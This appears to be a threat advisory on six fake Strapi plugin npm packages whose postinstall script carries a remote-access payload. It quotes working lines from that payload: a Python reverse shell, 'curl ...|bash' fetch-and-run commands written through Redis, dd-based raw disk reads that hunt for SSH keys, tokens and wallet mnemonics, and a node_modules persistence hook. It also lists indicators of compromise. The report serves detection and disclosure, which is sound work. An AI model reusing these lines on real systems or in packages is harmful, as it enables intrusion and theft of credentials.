strapi-plugin-* (6 packages)
A coordinated campaign of 6 fake Strapi CMS plugins by maintainer umarbek1233, all containing an identical RAT payload. The malware exploits Redis to write shell payloads to disk, reads raw disk via dd to steal SSH keys and crypto wallet mnemonics, traverses Docker overlay filesystems, and opens a Python reverse shell to the attacker's VPS on port 4444.
An active attacker is publishing multiple npm packages impersonating Strapi CMS plugins. All contain an identical RAT payload that exploits Redis, reads raw disk to steal SSH keys and crypto wallets, and opens reverse shells. This campaign has not been publicly documented.
| Package | Version | Published |
|---|---|---|
| strapi-plugin-config | 3.6.8 | 2026-04-03 02:47 UTC |
| strapi-plugin-core | 3.6.8 | 2026-04-03 |
| strapi-plugin-monitor | 3.6.8 | 2026-04-03 |
| strapi-plugin-events | 3.6.8 | 2026-04-03 |
| strapi-plugin-health | 3.6.8 | 2026-04-03 |
| strapi-plugin-locale | 3.6.8 | 2026-04-03 |
All version 3.6.8 (first publish). All by maintainer umarbek1233 (cla4d@sharebot.net).
index.js — 23 bytes (module.exports = {})
postinstall.js — ~9KB (entire attack payload)
package.json — 132 bytes (only defines postinstall)
No dependencies. No repository. No description. README is 28 characters.
var VPS = '144.31.107.231';
var PORT = 9999;
await send('cf-start', run('hostname').trim() + ' ' + run('id').trim());
Exfiltrates hostname and user identity via HTTP POST to C2.
var mountInfo = run('mount | grep overlay | head -3');
var upperMatch = mountInfo.match(/upperdir=([^,\s]+)/);
Parses Docker overlay filesystem to map container paths to host disk. Specifically targets Strapi's /app/public/uploads directory.
var shellPayload = '\\n\\n#!/bin/bash\\ncurl -s http://'+VPS+':'+PORT+'/shell.sh|bash\\n\\n';
var cmd = 'CONFIG SET dir '+p.dir+'\r\nCONFIG SET dbfilename '+p.file+'\r\n'+
'SET shell "'+shellPayload+'"\r\nSAVE\r\n';
Connects to Redis on 127.0.0.1:6379 (no auth assumed). Uses CONFIG SET dir + CONFIG SET dbfilename + SAVE to write shell payloads to 7 different directories: overlay root, /tmp, /var/lib/redis, /var/tmp, /dev/shm, /app/public, /app/public/uploads.
execSync('nohup python3 -c "import socket,subprocess,os;s=socket.socket();'+
's.connect((\''+VPS+'\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'+
'os.dup2(s.fileno(),2);subprocess.call([\'/bin/bash\',\'-i\'])" &>/dev/null &');
Python3 reverse shell to port 4444 with full stdin/stdout/stderr redirection.
var rawSecrets = run('dd if=/dev/sda1 bs=4096 skip=0 count=50000 2>/dev/null | '+
'strings | grep -iE "^[A-Z_]+=.+" | grep -iE '+
'"PASSWORD|SECRET|KEY|TOKEN|ELASTIC|WALLET|PRIVATE|MNEMONIC|DATABASE_URL|REDIS_URL|JWT"');
Creates block device with mknod /tmp/hostdisk b 8 1, reads 200MB of raw disk, greps for: passwords, SSH keys, crypto wallet mnemonics, JWT tokens, Elasticsearch credentials, database URLs.
var rawSSH = run('dd if=/dev/sda1 ... | strings | '+
'grep -A5 "BEGIN.*PRIVATE\\|BEGIN RSA\\|BEGIN EC\\|BEGIN OPENSSH"');
var hookPayload = '\\nrequire("child_process").execSync("curl '+VPS+':'+PORT+'/shell.sh|bash");\\n';
// Writes to /app/node_modules/.hooks.js via Redis CONFIG SET
Persists across Strapi restarts by hijacking node_modules.
Checks Redis user's crontab and enumerates /var/spool/cron/crontabs/.
Network:
144.31.107.231:9999 — HTTP POST exfiltration (C2)144.31.107.231:4444 — Reverse shell (bash)http://144.31.107.231:9999/shell.sh — Payload downloadFiles created on victim:
/tmp/shell.sh, /var/tmp/shell.sh, /var/lib/redis/shell.sh/dev/shm/shell.sh, /app/public/shell.sh, /app/public/uploads/shell.sh/app/node_modules/.hooks.js/tmp/hostdisk (mknod block device for raw disk read)Package indicators:
Detected by: npm-sentinel automated scanner (github.com/[your-handle]) Detection time: ~15 minutes after first publish Date: 2026-04-03